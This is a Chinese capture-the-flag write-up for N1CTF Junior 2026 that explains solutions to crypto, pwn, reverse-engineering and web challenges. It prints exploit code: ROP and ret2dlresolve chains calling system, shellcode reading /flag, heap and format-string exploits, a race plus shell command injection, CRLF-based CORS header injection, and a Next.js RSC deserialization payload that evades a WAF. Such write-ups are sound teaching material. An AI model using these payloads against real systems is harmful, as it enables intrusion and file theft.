N1CTF Junior 2026 1/2

目录

解了几道分数较高的题目,部署后继续修复公式渲染(theme/模板问题)。


AstralCat

服务端每轮随机 99 字节 message,用 Luo Shu 做 CBC。关键点是同一个对象连续调用两次 Encrypt(),第二次加密的输入其实是第一次的密文。

设底层分组加密为 $E$,分组大小 9 字节。第一次 CBC:

$$ C^{(1)}_0 = E(M_0 \oplus IV) $$$$ C^{(1)}_i = E(M_i \oplus C^{(1)}_{i-1}),\ i\ge 1 $$

第二次 CBC 输入是 $C^{(1)}$:

$$ C^{(2)}_0 = E(C^{(1)}_0 \oplus IV) $$$$ C^{(2)}_i = E(C^{(1)}_i \oplus C^{(2)}_{i-1}),\ i\ge 1 $$

所以对 $i\ge 1$ 直接得到 10 组分组密码的已知明密对:

$$ E(C^{(1)}_i \oplus C^{(2)}_{i-1}) = C^{(2)}_i $$

拿到 round key 后再反推 IV:

$$ IV = D(C^{(2)}_0)\oplus C^{(1)}_0 $$

然后 CBC 解密 $C^{(1)}$ 得到原始 message,按题目要求回传 message.hex()

exp 核心片段就是把两次输出切 block,构造 pair,解出 rkeys 和 IV,再解 CBC。仓库里直接有实现:

# crypto/AstralCat/solve.py
def solve_round(c1: bytes, c2: bytes) -> bytes:
    c1_blocks = _chunks(c1, 9)
    c2_blocks = _chunks(c2, 9)

    pairs = []
    for i in range(1, 11):
        pt = _xor_bytes(c1_blocks[i], c2_blocks[i - 1])
        ct = c2_blocks[i]
        pairs.append((pt, ct))

    rkeys = None
    for use in range(4, len(pairs) + 1):
        candidate = _recover_round_keys_sat(pairs, use_pairs=use)
        if _verify_rkeys(candidate, pairs):
            rkeys = candidate
            break

    x0 = _decrypt_block_rkeys(c2_blocks[0], rkeys)
    iv9 = _xor_bytes(x0, c1_blocks[0])

    pt_blocks = []
    pt_blocks.append(_xor_bytes(_decrypt_block_rkeys(c1_blocks[0], rkeys), iv9))
    for i in range(1, 11):
        pt_blocks.append(_xor_bytes(_decrypt_block_rkeys(c1_blocks[i], rkeys), c1_blocks[i - 1]))
    return b"".join(pt_blocks)

跑脚本:

python3 crypto/AstralCat/solve_nosat.py --host HOST --port PORT
python3 crypto/AstralCat/solve.py --host HOST --port PORT

riveRC4t

crypto/riveRC4t/cat.bin 是很多条记录拼接。每条记录是 enc_nonce(13) || ciphertext

题目逻辑等价于:

$$ K=\textsf{SHA1}(\textsf{FLAG}) $$$$ \textsf{enc_nonce}_t = \textsf{RC4}(K)(N_t) = N_t \oplus \textsf{RC4}(K)(0^{13}) $$

定义全局 mask:

$$ M=\textsf{RC4}(K)(0^{13}) $$

所以一旦拿到 $M$ 就能还原所有 $N_t$:

$$ N_t = \textsf{enc_nonce}_t \oplus M $$

关键是随机数来自 MT19937,untemper 在 bit 层面是 GF(2) 线性变换。用大量 enc_nonce 的前 12 字节联立,可以把 MT state 和 mask12 一起解出来。再用 record0 补齐第 13 字节 mask。

exp 主流程在 crypto/riveRC4t/solve_osgp.py,核心就是下面这段:

# crypto/riveRC4t/solve_osgp.py
data = Path("cat.bin").read_bytes()
records = _iter_records(data, flag_len=39)
enc_nonce0, ct0 = records[0]

words, mask12, rank = solve_mt_and_mask12_from_enc_nonces(records, max_records=400, max_cycles=10)
r0 = random.Random()
r0.setstate((3, tuple(words) + (0,), None))
nonce0 = r0.randbytes(13)
mask_bytes = _xor_bytes(enc_nonce0, nonce0)
assert mask_bytes[:12] == mask12

r = random.Random()
r.setstate((3, tuple(words) + (0,), None))
assert r.randbytes(13) == nonce0

sample_count = min(120000, len(records) - 1)
key_len = 20
z_needed = 19
iv_flat = bytearray(sample_count * key_len)
z_flat = bytearray(sample_count * z_needed)

for idx in range(1, sample_count + 1):
    pt = r.randbytes(37)
    nonce = r.randbytes(13)
    enc_nonce, ct = records[idx]
    ks = bytes(p ^ c for p, c in zip(pt, ct))
    z_flat[(idx - 1) * z_needed : idx * z_needed] = ks[:z_needed]
    iv = ARC4.new(nonce).encrypt(b"\x00" * key_len)
    iv_flat[(idx - 1) * key_len : idx * key_len] = iv

key = osgp_related_key_recover_key(
    iv_flat=bytes(iv_flat),
    z_flat=bytes(z_flat),
    sample_count=sample_count,
    key_len=key_len,
    z_needed=z_needed,
    topk0=12,
    expected_mask=mask_bytes,
)

session_key0 = _xor_bytes(key, ARC4.new(nonce0).encrypt(b"\x00" * key_len))
flag = ARC4.new(session_key0).decrypt(ct0)
assert hashlib.sha1(flag).digest() == key

跑脚本:

cd crypto/riveRC4t
python3 solve_osgp.py

Onlyfgets

pwn/Onlyfgets/attachments/onlyfgets 里栈上只留 0x20 字节,但直接 fgets(buf, 0x1f4, stdin),可以覆盖 saved rbp 和返回地址。无 PIE 无 canary,NX 开。

这题要注意 fgets 会被字节 0x0a 截断,所以 payload 里不能出现换行字节。脚本里会做检查和自动挑布局。

这里的核心就是第一下把下一次 fgets 的写入点迁到 RW 段,再在 RW 段里构造 ret2dlresolve,动态解析 system/open/read/write,读出 pwn/Onlyfgets/attachments/flag.txt

stage1 的写法非常直接:

$$ \textsf{payload} = \underbrace{\texttt{A}\cdots\texttt{A}}_{0x20}\ \|\ \textsf{p64}(\textsf{RW}+0x20)\ \|\ \textsf{p64}(\textsf{main}+8) $$

栈迁移的布局可以直接画出来:

main 栈帧
高地址
  [rbp+0x08]  saved RIP
  [rbp+0x00]  saved RBP
  [rbp-0x20]  buf[0x20]
低地址

stage1 覆盖
  buf[0x20]      = "A"*0x20
  saved RBP      = RW+0x20
  saved RIP      = main+8

leave; ret 之后
  rbp = RW+0x20
  下一次 fgets 的 buf = rbp-0x20 = RW
  下一次 fgets 直接写到 RW 段

stage2 在 RW 段里也有固定结构:

RW base
+0x00 .. +0x1f   padding
+0x20            fake saved RBP = RW+0x20
+0x28            ROP chain
+cmd_off         "cat flag.txt\0"  位置脚本自动挑
+dl_off          ret2dlresolve 伪造结构 位置脚本自动挑

脚本核心片段:

# pwn/Onlyfgets/solve.py
def build_stage1_direct(base: int) -> bytes:
    return flat(b"A" * 0x20, p64(base + 0x20), p64(MAIN_DO_FGETS))

def _pick_layout(cmd: bytes, base: int):
    dl = Ret2dlresolvePayload(elf, symbol="system", args=[cmd_addr], data_addr=dl_addr)
    chain = flat(
        p64(RET),
        p64(POP_RDI_RET),
        p64(cmd_addr),
        p64(PLT0),
        p64(dl.reloc_index),
        p64(GATE_CLOSE),
    )
    stage2 = fit({0x20: p64(base + 0x20), 0x28: chain, cmd_off: cmd, dl_off: dl.payload}, filler=b"A")
    assert b"\n" not in stage2
    return stage2

本地 docker:

cd pwn/Onlyfgets
docker build -t onlyfgets-local attachments
docker run --rm -d -p 8889:8889 -e FLAG=flag{test_flag} onlyfgets-local
python3 solve.py HOST=127.0.0.1 PORT=8889 DUMP=1

ez_canary

这题有 canary,但漏洞点是 read(0, rbp, 0x10)。它刚好覆盖 saved rbp 和 saved rip,不碰 canary,所以不用先泄露 canary 就能控一次 RIP。

栈上覆盖范围很干净:

高地址
  [rbp+0x08] saved RIP    8B  被覆盖
  [rbp+0x00] saved RBP    8B  被覆盖
  [rbp-0x08] canary       8B  不覆盖
低地址

第一个阶段用一个 strlen + write gadget 做任意地址泄露,等价于:

$$ \textsf{write}(1,\ rbp-0x20,\ \textsf{strlen}(rbp-0x20)) $$

把 rbp 设置成 addr+0x20 就能泄露 addr 开头的内存,遇到 0 字节停止。

随后泄露 libc,拿到 environ,再从 auxv 找 AT_RANDOM 指针,取出 canary。最后把栈迁到 bss,跑 ROP 执行 system

最终把栈迁到 RW=0x404800 附近,伪造一个能过 canary 校验的栈帧:

RW = 0x404800
FRAME = RW + 0x40
buf = FRAME - 0x40

buf+0x00 .. buf+0x37   padding
buf+0x38              canary
buf+0x40              saved RBP
buf+0x48              saved RIP 这里开始是 ROP chain
buf+0x180             "cat flag; echo __END__\0"

exp 核心片段在 pwn/ez_canary/solve.py

class EzCanaryExploit:
    RW = 0x404800
    FRAME = RW + 0x40
    LEAK_GADGET = 0x40153A
    GIFT_MID = 0x40143E
    POP_RDI = 0x401893

    def one_shot_leak(self, addr: int) -> bytes:
        stage1 = p64(addr + 0x20) + p64(self.LEAK_GADGET)
        sock.sendall(stage1)
        return extract_last_server_message(recv_all(sock, self.io_timeout))

    def exploit(self, libc_base: int, canary: bytes) -> bytes:
        cmd = b"cat flag; echo __END__\x00"
        cmd_addr = self.RW + 0x180
        chain = b"".join([p64(self.POP_RDI), p64(cmd_addr), p64(libc_base + LIBC_SYSTEM)])
        payload = b"A" * 0x38 + canary + p64(self.FRAME) + chain
        stage1 = p64(self.FRAME) + p64(self.GIFT_MID)
        sock.sendall(stage1)
        sock.sendall(payload.ljust(0x200, b"\x00"))

Old_5he1lc0de

远程要提交两次 shellcode,两个进程都必须单独打印 flag。限制的是字节种类:

$$ S_1 \cap S_2 = \varnothing,\quad |S_1 \cup S_2| \le 15 $$

程序会把寄存器清零,rsp 置 0,不能用栈。seccomp 只禁 execve 和 execveat,直接用 syscall 读 /flag

解法是准备一个完整 stage2,运行时用极少字节种类把 stage2 写到 RWX 区,再跳回去执行。仓库里给了完整构造器。

内存布局就是在同一块 RWX 里放 placeholder 和生成器:

entry 寄存器
  rdx = mmap_base
  rsp = 0

mmap_base
  +0x0000   placeholder  长度 L  最终会变成 stage2
  +0x00L    generator    用少量字节指令把 placeholder 改成 stage2
  +...      jmp back     跳回 0 开始执行 stage2

payload1 的结构是先跳过 placeholder 跑 generator:

[0..L)      E9 rel32 00 00 ... 00    第一次执行直接跳到 generator
[L.. )      FE 02 ... 48 FF C2 ...   inc [rdx] 和 inc rdx 逐字节修补 stage2
[end]       E9 rel32                 跳回 0 执行修补后的 stage2

payload2 是先把 rcx 推到 placeholder 起点,再用 add 指令修补:

[0..]       4E 83 C1 0A ...          add rcx, 0x0a 反复 让 rcx 到 placeholder_offset
[..]        80 04 0A kk              add byte [rdx+rcx], kk
[..]        4E 83 C1 01              add rcx, 1
[offset]    01 01 01 ...             placeholder 初始全是 0x01 运行后变成 stage2

exp 核心在 pwn/solve.py

STAGE2 = bytes.fromhex(
    "488d3d2900000031f6b0020f05"
    "89c7 488d3500010000 ba00010000 31c0 0f05"
    "89c2 bf01000000 b001 0f05"
    "b03c 31ff 0f05"
    "2f666c616700"
    "01"
)

p1 = build_payload1(STAGE2)
p2 = build_payload2(STAGE2)
io.recvuntil(b\"hex(0/2):\")
io.sendline(p1.hexline().encode())
io.recvuntil(b\"hex(1/2):\")
io.sendline(p2.hexline().encode())

f0rm@t?

PIE Full RELRO NX,无 canary。printf 是自写的,漏洞在 sub_14D0 的 arg-table 填充越界写。

arg-table 从 rsp+0x20 开始,saved rip 在 rsp+0x858,所以:

$$ 0x20 + 8\cdot 263 = 0x858 $$

也就是第 263 个 slot 覆盖返回地址。

wrapper 让 overflow_arg_area 指向 main 的 buf,所以对 $N\ge 6$:

$$ \textsf{arg}\#N = \textsf{u64}\bigl(buf + 8(N-6)\bigr) $$

这题的核心关系就是 arg-table 和保存现场重叠:

sub_14D0 栈帧
rsp+0x20   arg_table[0]
...
rsp+0x828  saved rbx    对应 slot257
rsp+0x830  saved rbp    对应 slot258
...
rsp+0x858  saved RIP    对应 slot263

同时 overflow_arg_area = buf,所以 buf 里这些位置直接决定控制流:

main 的 buf
buf+0x000  arg#6
buf+0x008  arg#7
...
buf+0x7e0  arg#258  用来覆盖 saved rbp
buf+0x808  arg#263  用来覆盖 saved RIP

远程对大索引 positional 有限制,就不用 %263$p,直接用大量非 positional %p 推进填表到 263。

exp 核心在 pwn/f0rm/one_conn_solver.py

SAVED_RBP_IDX = 258
SAVED_RIP_IDX = 263

def build_fill_to_saved_rip_fmt() -> bytes:
    return b"%p." + (b"%p." * 261) + b"%p"

def set_arg_qword(buf: bytearray, idx: int, qword: int) -> None:
    off = 8 * (idx - 6)
    buf[off:off + 8] = struct.pack("<Q", qword)

failed

脚本在 pwn/failed/solve.py。核心是 Size: -1 触发异常路径,让 malloc(0) 拿到很小的 chunk,但后续 readwrite 仍按 note_sizes[user] 当长度使用,形成跨 chunk overflow。

glibc safe-linking 需要:

$$ \textsf{PROTECT_PTR}(pos, ptr) = ptr \oplus (pos \gg 12) $$

堆上这一步是典型 tcache poisoning。先 free 一个 0x20 的 chunk,再用越界写去改它的 fd:

tcache[0x20] -> chunk B

chunk B user data
  fd = encoded_target
  encoded_target = target ^ (heap_page >> 12)

越界写覆盖到 chunk B 的头和 fd:

... chunk A data ...  overflow  ->  chunk B
chunk B header
  prev_size = 0x20
  size      = 0x21
chunk B data
  fd        = encoded_target

目标是把下一次 malloc(0) 的返回地址打到 .bss 的 users 数组:

.bss layout 以 PIE base 为基准
  users      = base + 0x50C0
  passwd     = base + 0x51C0
  notes      = base + 0x52C0
  note_sizes = base + 0x53C0

exp 核心片段就是算出 safe-link key,改写 tcache fd 指向 bss:

heap_page = heap_page_start(p.proc.pid)
safe_link_key = heap_page >> 12
target = layout.users
encoded_target = target ^ safe_link_key

overflow = b\"A\" * 0x0F + p64(0x20) + p64(0x21) + p64(encoded_target)
edit_note_write(p, overflow)

Interstellar

更新版附件给了 12 个 int32 密文和 md5。唯一不确定量是 time(NULL),其它都是可逆的。

LCG 常量在二进制里很明显,A C 小端是字符串 "star" "algo"

$$ x_{n+1} = (A x_n + C)\bmod M $$

两层 swap 都跑 $0x10000+1$ 次。中间 3-word 轮函数也跑 $0x10000+1$ 次,按组可逆。

exp 核心片段在 re/Interstellar/solve.py

LCG_A = 0x72617473
LCG_C = 0x6F676C61
LCG_M = 0x4B205569

def lcg_next(x: int) -> int:
    tmp = i32(i32(x) * i32(LCG_A) + i32(LCG_C))
    return tmp % LCG_M

def gen_swap_pairs(seed: int, count: int = 0x10000 + 1):
    x = i32(seed)
    pairs = []
    for _ in range(count):
        x = lcg_next(x); i = x % 12
        x = lcg_next(x); j = x % 12
        pairs.append((i, j))
    return pairs, x

爆破 seed:

cd re/Interstellar
python3 solve.py --seed-range START END

Find My Time

Windows Qt 程序,核心是时间相关校验。目录 re/Find 放了取证工具链和运行产物。

时间 hook 的转换关系是把 unix 秒转成 FILETIME 100ns:

$$ \text{filetime} = (unix + 11644473600)\times 10^7 $$

exp 核心在 re/Find/dbg/dumpdll.c,hook 时间和抓 UI 文本:

static VOID WINAPI hook_GetSystemTimeAsFileTime(LPFILETIME ft) {
  if (!ft) return;

  if (!g_unix_seconds_set) {
    uint64_t v;
    if (parse_unix_seconds_env(&v)) {
      g_unix_seconds = v;
      g_unix_seconds_set = true;
      char line[256];
      snprintf(line, sizeof(line), "[dbg] FIND_MY_TIME_TS=%llu\n",
               (unsigned long long)g_unix_seconds);
      log_write(line);
    } else {
      g_unix_seconds = 0x3afff44180ULL;
      g_unix_seconds_set = true;
      log_write("[dbg] FIND_MY_TIME_TS not set; defaulting to 0x3afff44180\n");
    }
  }
  uint64_t t = unix_to_filetime_100ns(g_unix_seconds);
  ft->dwLowDateTime = (DWORD)(t & 0xffffffffu);
  ft->dwHighDateTime = (DWORD)((t >> 32) & 0xffffffffu);
}

static VOID __fastcall hook_QPainter_drawText(void *self, const void *rect, int flags,
                                              const void *text, void *boundingRect) {
  char utf8[1024];
  bool ok = qstring_to_utf8(text, utf8, sizeof(utf8));
  if (ok) {
    size_t n = strlen(utf8);
    if (n > 0 && n < 400) {
      log_write("[paint] drawText: ");
      log_write(utf8);
      log_write("\n");
      if (strstr(utf8, "N1J{") || strstr(utf8, "flag{") || strstr(utf8, "FLAG{")) {
        dump_bytes_to_file("found_flag_str.txt", (const uint8_t *)utf8, n);
        ExitProcess(0);
      }
    }
  }
  if (g_drawText_trampoline) {
    ((QPainter_drawText_t)g_drawText_trampoline)(self, rect, flags, text, boundingRect);
  } else if (g_orig_drawText) {
    g_orig_drawText(self, rect, flags, text, boundingRect);
  }
}

re/Find/extracted_new 里是一次运行产物:

re/Find/extracted_new/find_my_time_dump.txt
re/Find/extracted_new/found.png
re/Find/extracted_new/found_flag_mem.bin
re/Find/extracted_new/flag_hit_1.bin
re/Find/extracted_new/flag_hit_2.bin


Postman

判定逻辑在 /send,把 username/email 拼成邮件头交给 addressparser。如果解析结果等于管理员身份就把 flag 追加到邮件内容。

绕过点是注册过滤和解析差异。注册不允许空格和 %,但没过滤控制字符。addressparser 解析时会丢弃 \r,并把 \t 当分隔。

最终用户名:

Ad\rministrator\tad\rmin@ad\rmin.com(

URL 编码:

Ad%0Dministrator%09ad%0Dmin@ad%0Dmin.com%28

注册这个用户名后给自己发信,在 Inbox 里能看到追加的 flag。完整过程见 web/Postman/Postman.md


Bun

第一段是 TOCTOU。verify 里先读取 session.username 去异步校验密码,await 期间用相同 sessionId 调 init 把 username 覆盖成 admin。await 返回后把当前 session 标记成 authenticated。

第二段是命令注入。/api/admin/diagnose 用 Bun 的 $ 执行 shell,普通 string 会转义,但 { raw: "..." } 会当作不转义片段插入。

exp 核心在 web/bun/solve.ts

async function attemptRace(opts: { adminInitBurst: number; delayMs: number }) {
  const sessionId = `race_${crypto.randomUUID()}`;
  await postJson("/api/auth/init", { sessionId, username: "guest" });
  const verifyPromise = postJson("/api/auth/verify", { sessionId, password: "guest" });
  await Promise.all(
    Array.from({ length: opts.adminInitBurst }, () =>
      postJson("/api/auth/init", { sessionId, username: "admin" })
    )
  );
  await verifyPromise.catch(() => null);
  return sessionId;
}

async function execViaDiagnose(sessionId: string, command: string) {
  const raw = `>/dev/null; ${command} 2>&1 || true`;
  return diagnose(sessionId, "date", { raw });
}

跑脚本:

cd web/bun
bun run solve.ts http://60.205.163.215:22576

Notes

有 admin bot,会以 admin 身份登录后访问你提交的 URL,并且允许 data:。data 页 origin 是 null,不受站点 CSP 限制,可以执行 JS。

/api/searchfilename 拼进响应头 Content-Disposition,没有过滤 CRLF。可以注入 CORS 头:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

这样 data 页就能带 admin cookie 去 fetch 并读取 JSON。返回里有 total,可以当子串 oracle 逐字节爆破 admin 的 secret note。

exp 核心片段在 web/Notes/solve.py 里生成的 JS:

const injectedFilename =
  "x\\r\\n" +
  "Access-Control-Allow-Origin: null\\r\\n" +
  "Access-Control-Allow-Credentials: true\\r\\n";

async function has(sub) {
  const url = base + "/api/search?q=" + encodeURIComponent(sub) +
    "&filename=" + encodeURIComponent(injectedFilename);
  const res = await fetch(url, { credentials: "include", cache: "no-store" });
  const data = await res.json();
  return (data.total | 0) > 0;
}

完整 exploit script:

跑脚本:

cd web/Notes
python3 solve.py --base http://HOST:PORT --timeout 240

next-waf

WAF 在 multipart 时扫描原始 body,先转小写再做简单子串匹配。Next 版本在 React2Shell 利用范围,打 Server Action 的 RSC 反序列化可以拿到 Function 执行任意 JS。

绕 WAF 的关键是它扫的是原始文本,而 JSON 解析会还原 \uXXXX。把敏感词写成 unicode escape,WAF 看不到连续子串,Next 解析后会还原成真实字符串。

exp 核心片段在 web/next-waf/solve.py

UNICODE_OBFUSCATION = {
    "process": r"pro\\u0063ess",
    "require": r"re\\u0071uire",
    "constructor": r"constr\\u0075ctor",
    "then": r"th\\u0065n",
    "flag": r"fl\\u0061g",
}

def build_payload_read_file(path: str) -> str:
    code = (
        "var fs = process.mainModule.require('fs');"
        f"var res = fs.readFileSync('{path}','utf8').toString();"
        "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
    )
    payload = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B0"}',
        "_response": {"_prefix": code, "_formData": {"get": "$1:constructor:constructor"}},
    }
    return json.dumps(payload, separators=(",", ":"))

跑脚本:

cd web/next-waf
python3 solve.py --url http://60.205.163.215:59595/ --path /flag